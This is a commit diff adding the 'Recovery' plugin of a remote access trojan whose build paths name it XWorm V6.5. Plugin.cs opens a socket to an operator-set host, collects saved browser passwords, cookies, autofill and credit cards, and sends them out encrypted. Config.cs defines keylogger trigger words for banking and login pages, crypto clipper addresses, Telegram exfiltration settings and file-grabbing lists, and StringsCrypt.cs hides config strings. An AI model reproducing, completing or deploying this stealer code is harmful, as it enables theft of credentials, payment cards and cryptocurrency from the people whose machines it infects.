initial commit

Plugins/Recovery/Recovery.sln

@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.33027.164
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Recovery", "Recovery\Recovery.csproj", "{962EA2A5-9393-4144-97E5-F1D5F3B6BE00}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{962EA2A5-9393-4144-97E5-F1D5F3B6BE00}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{962EA2A5-9393-4144-97E5-F1D5F3B6BE00}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{962EA2A5-9393-4144-97E5-F1D5F3B6BE00}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{962EA2A5-9393-4144-97E5-F1D5F3B6BE00}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {C856FF0A-F6AB-4F4C-97D6-95D8855568B8}
+	EndGlobalSection
+EndGlobal

Plugins/Recovery/Recovery/.vs/Recovery.csproj.dtbcache.json

@@ -0,0 +1 @@
+{"RootPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\Plugins\\Recovery\\Recovery","ProjectFileName":"Recovery.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[],"References":[],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\XWorm\\bin\\Debug\\Plugins\\Recovery.dll","OutputItemRelativePath":"Recovery.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}

Plugins/Recovery/Recovery/Client/BrowserConfig/Config.cs

@@ -0,0 +1,91 @@
+// Recovery, Version=1.0.7.0, Culture=neutral, PublicKeyToken=null
+// Client.BrowserConfig.Config
+using System.Collections.Generic;
+
+internal sealed class Config
+{
+	public static string TelegramAPI = "--- Telegram API ---";
+
+	public static string TelegramID = "--- Telegram ID ---";
+
+	public static string Mutex = "--- Mutex ---";
+
+	public static string AntiAnalysis = "--- AntiAnalysis ---";
+
+	public static string Autorun = "--- Startup ---";
+
+	public static string StartDelay = "--- StartDelay ---";
+
+	public static string WebcamScreenshot = "--- WebcamScreenshot ---";
+
+	public static string KeyloggerModule = "--- Keylogger ---";
+
+	public static string ClipperModule = "--- Clipper ---";
+
+	public static Dictionary<string, string> ClipperAddresses = new Dictionary<string, string>
+	{
+		{ "btc", "--- ClipperBTC ---" },
+		{ "eth", "--- ClipperETH ---" },
+		{ "xmr", "--- ClipperXMR ---" },
+		{ "xlm", "--- ClipperXLM ---" },
+		{ "xrp", "--- ClipperXRP ---" },
+		{ "ltc", "--- ClipperLTC ---" },
+		{ "bch", "--- ClipperBCH ---" }
+	};
+
+	public static string[] KeyloggerServices = new string[27]
+	{
+		"facebook", "twitter", "chat", "telegram", "skype", "discord", "viber", "message", "gmail", "protonmail",
+		"outlook", "password", "encryption", "account", "login", "key", "sign in", "пароль", "bank", "банк",
+		"credit", "card", "кредит", "shop", "buy", "sell", "купить"
+	};
+
+	public static string[] BankingServices = new string[8] { "qiwi", "money", "exchange", "bank", "credit", "card", "банк", "кредит" };
+
+	public static string[] CryptoServices = new string[23]
+	{
+		"bitcoin", "monero", "dashcoin", "litecoin", "etherium", "stellarcoin", "btc", "eth", "xmr", "xlm",
+		"xrp", "ltc", "bch", "blockchain", "paxful", "investopedia", "buybitcoinworldwide", "cryptocurrency", "crypto", "trade",
+		"trading", "биткоин", "wallet"
+	};
+
+	public static string[] PornServices = new string[5] { "porn", "sex", "hentai", "порно", "sex" };
+
+	public static int GrabberSizeLimit = 5120;
+
+	public static Dictionary<string, string[]> GrabberFileTypes = new Dictionary<string, string[]>
+	{
+		["Document"] = new string[11]
+		{
+			"pdf", "rtf", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "indd", "txt",
+			"json"
+		},
+		["DataBase"] = new string[13]
+		{
+			"db", "db3", "db4", "kdb", "kdbx", "sql", "sqlite", "mdf", "mdb", "dsk",
+			"dbf", "wallet", "ini"
+		},
+		["SourceCode"] = new string[19]
+		{
+			"c", "cs", "cpp", "asm", "sh", "py", "pyw", "html", "css", "php",
+			"go", "js", "rb", "pl", "swift", "java", "kt", "kts", "ino"
+		},
+		["Image"] = new string[7] { "jpg", "jpeg", "png", "bmp", "psd", "svg", "ai" }
+	};
+
+	public static void Init()
+	{
+		TelegramAPI = StringsCrypt.DecryptConfig(TelegramAPI);
+		TelegramID = StringsCrypt.DecryptConfig(TelegramID);
+		if (ClipperModule == "1")
+		{
+			ClipperAddresses["btc"] = StringsCrypt.DecryptConfig(ClipperAddresses["btc"]);
+			ClipperAddresses["eth"] = StringsCrypt.DecryptConfig(ClipperAddresses["eth"]);
+			ClipperAddresses["xmr"] = StringsCrypt.DecryptConfig(ClipperAddresses["xmr"]);
+			ClipperAddresses["xlm"] = StringsCrypt.DecryptConfig(ClipperAddresses["xlm"]);
+			ClipperAddresses["xrp"] = StringsCrypt.DecryptConfig(ClipperAddresses["xrp"]);
+			ClipperAddresses["ltc"] = StringsCrypt.DecryptConfig(ClipperAddresses["ltc"]);
+			ClipperAddresses["bch"] = StringsCrypt.DecryptConfig(ClipperAddresses["bch"]);
+		}
+	}
+}

Plugins/Recovery/Recovery/Client/BrowserConfig/Implant/StringsCrypt.cs

@@ -0,0 +1,83 @@
+// Recovery, Version=1.0.7.0, Culture=neutral, PublicKeyToken=null
+// Client.BrowserConfig.Implant.StringsCrypt
+using System;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+
+internal sealed class StringsCrypt
+{
+	public static string ArchivePassword = GenerateRandomData();
+
+	private static readonly byte[] saltBytes = new byte[16]
+	{
+		255, 64, 191, 111, 23, 3, 113, 119, 231, 121,
+		252, 112, 79, 32, 114, 156
+	};
+
+	private static readonly byte[] cryptKey = new byte[38]
+	{
+		104, 116, 116, 112, 115, 58, 47, 47, 103, 105,
+		116, 104, 117, 98, 46, 99, 111, 109, 47, 76,
+		105, 109, 101, 114, 66, 111, 121, 47, 83, 116,
+		111, 114, 109, 75, 105, 116, 116, 121
+	};
+
+	public static string github = Encoding.UTF8.GetString(cryptKey);
+
+	public static string AnonApiToken = Decrypt(new byte[32]
+	{
+		169, 182, 79, 179, 252, 54, 138, 148, 167, 99,
+		216, 216, 199, 219, 10, 249, 131, 166, 170, 145,
+		237, 248, 142, 78, 196, 137, 101, 62, 142, 107,
+		245, 134
+	});
+
+	public static string GenerateRandomData(string sd = "0")
+	{
+		string text = ((!(sd == "0")) ? sd : new Random().Next(0, 10).ToString());
+		string s = "-" + text + "-";
+		MD5 mD = MD5.Create();
+		return string.Join("", mD.ComputeHash(Encoding.UTF8.GetBytes(s)).Select(delegate (byte ba)
+		{
+			byte b = ba;
+			return b.ToString("x2");
+		}));
+	}
+
+	public static string Decrypt(byte[] bytesToBeDecrypted)
+	{
+		byte[] bytes = null;
+		using (MemoryStream memoryStream = new MemoryStream())
+		{
+			RijndaelManaged rijndaelManaged = new RijndaelManaged();
+			rijndaelManaged.KeySize = 256;
+			rijndaelManaged.BlockSize = 128;
+			Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);
+			rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
+			rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
+			rijndaelManaged.Mode = CipherMode.CBC;
+			using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
+			{
+				cryptoStream.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
+				cryptoStream.Close();
+			}
+			bytes = memoryStream.ToArray();
+		}
+		return Encoding.UTF8.GetString(bytes);
+	}
+
+	public static string DecryptConfig(string value)
+	{
+		if (string.IsNullOrEmpty(value))
+		{
+			return "";
+		}
+		if (!value.StartsWith("ENCRYPTED:"))
+		{
+			return value;
+		}
+		return Decrypt(Convert.FromBase64String(value.Replace("ENCRYPTED:", "")));
+	}
+}

Plugins/Recovery/Recovery/ILMerge.props

@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <!--                                                                                   -->
+    <!-- ILMerge project-specific settings. Almost never need to be set explicitly.       -->
+    <!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
+    <!--                                                                                   -->
+    <!-- *** set this file to Type=None, CopyToOutput=Never ***                            -->
+
+    <!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
+    <ILMergeTransitive>true</ILMergeTransitive>
+
+    <!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
+    <ILMergeLibraryPath></ILMergeLibraryPath>
+
+    <!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
+    <ILMergePackagesPath></ILMergePackagesPath>
+
+    <!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
+    <ILMergeOrderFile></ILMergeOrderFile>
+
+    <!-- The strong key file name if not specified in the project -->
+    <ILMergeKeyFile></ILMergeKeyFile>
+
+    <!-- The assembly version if differs for the version of the main assembly -->
+    <ILMergeAssemblyVersion></ILMergeAssemblyVersion>
+
+    <!-- added in Version 1.0.4 -->
+    <ILMergeFileAlignment></ILMergeFileAlignment>
+
+    <!-- added in Version 1.0.4, default=none -->
+    <ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
+
+    <!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
+    <ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
+
+    <!-- See ILMerge documentation -->
+    <ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
+
+    <!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
+    <ILMergeCopyAttributes></ILMergeCopyAttributes>
+    
+    <!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
+    <ILMergeDebugInfo>false</ILMergeDebugInfo>
+
+    <!-- Target assembly will be delay signed -->
+    <ILMergeDelaySign></ILMergeDelaySign>
+
+    <!-- Types in assemblies other than the primary assembly have their visibility modified -->
+    <ILMergeInternalize></ILMergeInternalize>
+
+    <!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
+    <ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
+
+    <!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
+    <ILMergeXmlDocumentation></ILMergeXmlDocumentation>
+
+    <!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
+    <ILMergePublicKeyTokens></ILMergePublicKeyTokens>
+
+    <!-- Types with the same name are all merged into a single type in the target assembly -->
+    <ILMergeUnionMerge></ILMergeUnionMerge>
+
+    <!-- The version of the target framework, default 40 (works for 45 too) -->
+    <ILTargetPlatform></ILTargetPlatform>
+  </PropertyGroup>
+</Project>

Plugins/Recovery/Recovery/ILMergeOrder.txt

@@ -0,0 +1,4 @@
+# this file contains the partial list of the merged assemblies in the merge order
+# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
+# and finetune merge order to your satisfaction
+

Plugins/Recovery/Recovery/Plugin.cs

@@ -0,0 +1,233 @@
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using Newtonsoft.Json;
+using Stealer;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Net.Sockets;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace Recovery
+{
+    class Plugin
+    {
+        public static System.Threading.Thread T1 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.BeginConnect));
+        public static System.Threading.Thread T2 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.Ping));
+
+
+        public static void Run(string H, string P, string SL, string K, string id)
+        {
+
+            try
+            {
+                Settings.Host = H;
+                Settings.Port = P;
+                Settings.SPL = SL;
+                Settings.KEY = K;
+                Settings.IDD = id;
+                T1.Start();
+                T2.Start();
+            }
+            catch (Exception ex)
+            {
+                Debug.WriteLine(ex.Message);
+            }
+        }
+
+    }
+
+
+    public partial class Settings
+    {
+        public static string Host;
+        public static string Port;
+        public static string KEY;
+        public static string SPL;
+        public static string IDD;
+    }
+
+    public partial class ClientSocket
+    {
+        public static Socket S;
+        public static long BufferLength = default;
+        public static byte[] Buffer;
+        public static MemoryStream MS = new MemoryStream();
+        public static void BeginConnect()
+        {
+            S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+            BufferLength = -1;
+            Buffer = new byte[1];
+            MS = new MemoryStream();
+
+            S.ReceiveBufferSize = 50 * 1024;
+            S.SendBufferSize = 50 * 1024;
+
+            try
+            {
+                S.Connect(Settings.Host, Conversions.ToInteger(Settings.Port));
+
+                string result = JsonConvert.SerializeObject(Browser.GetAllInfo());
+
+                Send("RunRecovery" +  Settings.SPL + Settings.IDD + Settings.SPL + result);
+
+               // isDisconnected();
+            }
+            catch (Exception ex)
+            {
+               // isDisconnected();
+            }
+        }
+
+        public static void Send(string msg)
+        {
+            try
+            {
+                using (var MS = new MemoryStream())
+                {
+                    var B = Helper.AES_Encryptor(Helper.SB(msg));
+                    var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
+
+                    MS.Write(L, 0, L.Length);
+                    MS.Write(B, 0, B.Length);
+
+                    S.Poll(-1, SelectMode.SelectWrite);
+                    S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
+                }
+            }
+            catch (Exception ex)
+            {
+                isDisconnected();
+            }
+        }
+
+
+        public static void isDisconnected()
+        {
+
+            try
+            {
+                S.Close();
+                S.Dispose();
+            }
+            catch (Exception ex)
+            {
+                Debug.WriteLine(ex.Message);
+            }
+
+
+            try
+            {
+                MS.Close();
+                MS.Dispose();
+            }
+            catch (Exception ex)
+            {
+                Debug.WriteLine(ex.Message);
+            }
+
+
+            try
+            {
+                Plugin.T1.Abort();
+            }
+            catch (Exception ex)
+            {
+                Debug.WriteLine(ex.Message);
+            }
+            try
+            {
+                Plugin.T2.Abort();
+            }
+            catch (Exception ex)
+            {
+                Debug.WriteLine(ex.Message);
+            }
+
+
+        }
+
+        public static void Ping()
+        {
+            while (true)
+            {
+                System.Threading.Thread.Sleep(30 * 1000);
+                try
+                {
+                    if (S.Connected)
+                    {
+                        using (var MS = new MemoryStream())
+                        {
+                            var B = Helper.AES_Encryptor(Helper.SB("PING?"));
+                            var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
+
+                            MS.Write(L, 0, L.Length);
+                            MS.Write(B, 0, B.Length);
+
+                            S.Poll(-1, SelectMode.SelectWrite);
+                            S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
+                            GC.Collect();
+                        }
+                    }
+                }
+                catch (Exception ex)
+                {
+                    isDisconnected();
+                }
+            }
+        }
+    }
+
+    internal static partial class Helper
+    {
+        public static byte[] SB(string s)
+        {
+            return Encoding.UTF8.GetBytes(s);
+        }
+
+        public static string BS(byte[] b)
+        {
+            return Encoding.UTF8.GetString(b);
+        }
+        public static byte[] AES_Encryptor(byte[] input)
+        {
+            var AES_ = new RijndaelManaged();
+            var Hash = new MD5CryptoServiceProvider();
+            try
+            {
+                AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
+                AES_.Mode = CipherMode.ECB;
+                var DESEncrypter = AES_.CreateEncryptor();
+                var Buffer = input;
+                return DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
+            }
+            catch (Exception ex)
+            {
+                Debug.WriteLine(ex.Message);
+            }
+
+            return default;
+        }
+
+        public static byte[] AES_Decryptor(byte[] input)
+        {
+            var AES_ = new RijndaelManaged();
+            var Hash = new MD5CryptoServiceProvider();
+            try
+            {
+                AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
+                AES_.Mode = CipherMode.ECB;
+                var DESDecrypter = AES_.CreateDecryptor();
+                var Buffer = input;
+                return DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
+            }
+            catch (Exception ex)
+            {
+                Debug.WriteLine(ex.Message);
+            }
+
+            return default;
+        }
+    }
+}

Plugins/Recovery/Recovery/Plugin/BCrypt.cs

@@ -0,0 +1,163 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace Plugin
+{
+	// Token: 0x02000047 RID: 71
+	public class BCrypt
+	{
+		public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
+		{
+			public const uint BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO_VERSION = 1u;
+
+			public int cbSize;
+
+			public uint dwInfoVersion;
+
+			public unsafe byte* pbNonce;
+
+			public int cbNonce;
+
+			public unsafe byte* pbAuthData;
+
+			public int cbAuthData;
+
+			public unsafe byte* pbTag;
+
+			public int cbTag;
+
+			public unsafe byte* pbMacContext;
+
+			public int cbMacContext;
+
+			public int cbAAD;
+
+			public long cbData;
+
+			public AuthModeFlags dwFlags;
+
+			public static BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO Create()
+			{
+				BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO result = default(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
+				result.cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
+				result.dwInfoVersion = 1u;
+				return result;
+			}
+		}
+
+		[Flags]
+		public enum AuthModeFlags
+		{
+			None = 0,
+			BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 1,
+			BCRYPT_AUTH_MODE_IN_PROGRESS_FLAG = 2
+		}
+
+		[Flags]
+		public enum BCryptCloseAlgorithmProviderFlags
+		{
+			None = 0
+		}
+
+		[Flags]
+		public enum BCryptOpenAlgorithmProviderFlags
+		{
+			None = 0,
+			BCRYPT_ALG_HANDLE_HMAC_FLAG = 8,
+			BCRYPT_HASH_REUSABLE_FLAG = 0x20,
+			BCRYPT_MULTI_FLAG = 0x40
+		}
+
+		public enum BCryptSetPropertyFlags
+		{
+			None
+		}
+
+		[Flags]
+		public enum BCryptGenerateSymmetricKeyFlags
+		{
+			None = 0
+		}
+
+		[Flags]
+		public enum BCryptEncryptFlags
+		{
+			None = 0,
+			BCRYPT_BLOCK_PADDING = 1,
+			BCRYPT_PAD_NONE = 1,
+			BCRYPT_PAD_PKCS1 = 2,
+			BCRYPT_PAD_OAEP = 4
+		}
+
+		public class SafeKeyHandle : SafeHandle
+		{
+			public static readonly SafeKeyHandle Null = new SafeKeyHandle();
+
+			public override bool IsInvalid => handle == IntPtr.Zero;
+
+			public SafeKeyHandle()
+				: base(IntPtr.Zero, ownsHandle: true)
+			{
+			}
+
+			public SafeKeyHandle(IntPtr preexistingHandle, bool ownsHandle = true)
+				: base(IntPtr.Zero, ownsHandle)
+			{
+				SetHandle(preexistingHandle);
+			}
+
+			protected override bool ReleaseHandle()
+			{
+				return BCryptDestroyKey(handle) == 0;
+			}
+		}
+
+		public class SafeAlgorithmHandle : SafeHandle
+		{
+			public static readonly SafeAlgorithmHandle Null = new SafeAlgorithmHandle();
+
+			public override bool IsInvalid => handle == IntPtr.Zero;
+
+			public SafeAlgorithmHandle()
+				: base(IntPtr.Zero, ownsHandle: true)
+			{
+			}
+
+			public SafeAlgorithmHandle(IntPtr preexistingHandle, bool ownsHandle = true)
+				: base(IntPtr.Zero, ownsHandle)
+			{
+				SetHandle(preexistingHandle);
+			}
+
+			protected override bool ReleaseHandle()
+			{
+				return BCryptCloseAlgorithmProvider(handle) == 0;
+			}
+		}
+
+		[DllImport("BCrypt", ExactSpelling = true, SetLastError = true)]
+		public static extern uint BCryptDestroyKey(IntPtr hKey);
+
+		[DllImport("BCrypt", ExactSpelling = true, SetLastError = true)]
+		public static extern uint BCryptCloseAlgorithmProvider(IntPtr algorithmHandle, BCryptCloseAlgorithmProviderFlags flags = BCryptCloseAlgorithmProviderFlags.None);
+
+		[DllImport("BCrypt", CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
+		public static extern uint BCryptOpenAlgorithmProvider(out SafeAlgorithmHandle phAlgorithm, string pszAlgId, string pszImplementation, BCryptOpenAlgorithmProviderFlags dwFlags);
+
+		[DllImport("BCrypt", CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
+		public static extern uint BCryptSetProperty(SafeHandle hObject, string pszProperty, string pbInput, int cbInput, BCryptSetPropertyFlags dwFlags = BCryptSetPropertyFlags.None);
+
+		[DllImport("BCrypt", SetLastError = true)]
+		public static extern uint BCryptGenerateSymmetricKey(SafeAlgorithmHandle hAlgorithm, out SafeKeyHandle phKey, byte[] pbKeyObject, int cbKeyObject, byte[] pbSecret, int cbSecret, BCryptGenerateSymmetricKeyFlags flags = BCryptGenerateSymmetricKeyFlags.None);
+
+		[DllImport("BCrypt", SetLastError = true)]
+		public unsafe static extern uint BCryptDecrypt(SafeKeyHandle hKey, byte* pbInput, int cbInput, void* pPaddingInfo, byte* pbIV, int cbIV, byte* pbOutput, int cbOutput, out int pcbResult, BCryptEncryptFlags dwFlags);
+
+		public static void BCRYPT_INIT_AUTH_MODE_INFO(out BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO _AUTH_INFO_STRUCT_)
+		{
+			_AUTH_INFO_STRUCT_ = default(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
+			_AUTH_INFO_STRUCT_.cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
+			_AUTH_INFO_STRUCT_.dwInfoVersion = 1u;
+		}
+	}
+}

Plugins/Recovery/Recovery/Properties/AssemblyInfo.cs

@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("Recovery")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("Recovery")]
+[assembly: AssemblyCopyright("Copyright ©  2023")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components.  If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("962ea2a5-9393-4144-97e5-f1d5f3b6be00")]
+
+// Version information for an assembly consists of the following four values:
+//
+//      Major Version
+//      Minor Version
+//      Build Number
+//      Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]

Plugins/Recovery/Recovery/Recovery.csproj

@@ -0,0 +1,130 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="..\..\..\packages\ILMerge.3.0.41\build\ILMerge.props" Condition="Exists('..\..\..\packages\ILMerge.3.0.41\build\ILMerge.props')" />
+  <Import Project="..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
+  <Import Project="..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{962EA2A5-9393-4144-97E5-F1D5F3B6BE00}</ProjectGuid>
+    <OutputType>Library</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>Recovery</RootNamespace>
+    <AssemblyName>Recovery</AssemblyName>
+    <TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
+    <FileAlignment>512</FileAlignment>
+    <Deterministic>true</Deterministic>
+    <NuGetPackageImportStamp>
+    </NuGetPackageImportStamp>
+    <TargetFrameworkProfile />
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>..\..\..\XWorm\bin\Debug\Plugins\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+    <Prefer32Bit>false</Prefer32Bit>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <Prefer32Bit>false</Prefer32Bit>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
+      <HintPath>..\packages\Newtonsoft.Json.13.0.3\lib\net40\Newtonsoft.Json.dll</HintPath>
+    </Reference>
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Data.SQLite">
+      <HintPath>..\System.Data.SQLite.dll</HintPath>
+    </Reference>
+    <Reference Include="System.Security" />
+    <Reference Include="System.Xml.Linq" />
+    <Reference Include="System.Data.DataSetExtensions" />
+    <Reference Include="Microsoft.CSharp" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Client\BrowserConfig\Config.cs" />
+    <Compile Include="Client\BrowserConfig\Implant\StringsCrypt.cs" />
+    <Compile Include="Plugin.cs" />
+    <Compile Include="Plugin\BCrypt.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+    <Compile Include="Stealer\AutoFill.cs" />
+    <Compile Include="Stealer\Banking.cs" />
+    <Compile Include="Stealer\Bookmark.cs" />
+    <Compile Include="Stealer\Browser.cs" />
+    <Compile Include="Stealer\BrowserType.cs" />
+    <Compile Include="Stealer\BrsInfo.cs" />
+    <Compile Include="Stealer\BrsType.cs" />
+    <Compile Include="Stealer\cAesGcm.cs" />
+    <Compile Include="Stealer\cBCrypt.cs" />
+    <Compile Include="Stealer\cBrowserUtils.cs" />
+    <Compile Include="Stealer\Chromium\Autofill.cs" />
+    <Compile Include="Stealer\Chromium\Bookmarks.cs" />
+    <Compile Include="Stealer\Chromium\Cookies.cs" />
+    <Compile Include="Stealer\Chromium\CreditCards.cs" />
+    <Compile Include="Stealer\Chromium\Crypto.cs" />
+    <Compile Include="Stealer\Chromium\Downloads.cs" />
+    <Compile Include="Stealer\Chromium\History.cs" />
+    <Compile Include="Stealer\Chromium\Parser.cs" />
+    <Compile Include="Stealer\Chromium\Passwords.cs" />
+    <Compile Include="Stealer\Chromium\Recovery.cs" />
+    <Compile Include="Stealer\Consts.cs" />
+    <Compile Include="Stealer\Cookie.cs" />
+    <Compile Include="Stealer\Counter.cs" />
+    <Compile Include="Stealer\CreditCard.cs" />
+    <Compile Include="Stealer\Edge\Autofill.cs" />
+    <Compile Include="Stealer\Edge\Bookmarks.cs" />
+    <Compile Include="Stealer\Edge\CreditCards.cs" />
+    <Compile Include="Stealer\Edge\Recovery.cs" />
+    <Compile Include="Stealer\Firefox\cBookmarks.cs" />
+    <Compile Include="Stealer\Firefox\cCookies.cs" />
+    <Compile Include="Stealer\Firefox\cHistory.cs" />
+    <Compile Include="Stealer\Firefox\cPasswords.cs" />
+    <Compile Include="Stealer\Firefox\FFDecryptor.cs" />
+    <Compile Include="Stealer\Firefox\Recovery.cs" />
+    <Compile Include="Stealer\InfoType.cs" />
+    <Compile Include="Stealer\InternetExplorer\cPasswords.cs" />
+    <Compile Include="Stealer\InternetExplorer\Recovery.cs" />
+    <Compile Include="Stealer\InternetExplorer\VaultCli.cs" />
+    <Compile Include="Stealer\Item.cs" />
+    <Compile Include="Stealer\Password.cs" />
+    <Compile Include="Stealer\Paths.cs" />
+    <Compile Include="Stealer\Site.cs" />
+    <Compile Include="Stealer\SQLite.cs" />
+    <Compile Include="Stealer\SqlReader.cs" />
+    <Compile Include="Utils\FileUtils.cs" />
+    <Compile Include="Utils\MiscUtils.cs" />
+  </ItemGroup>
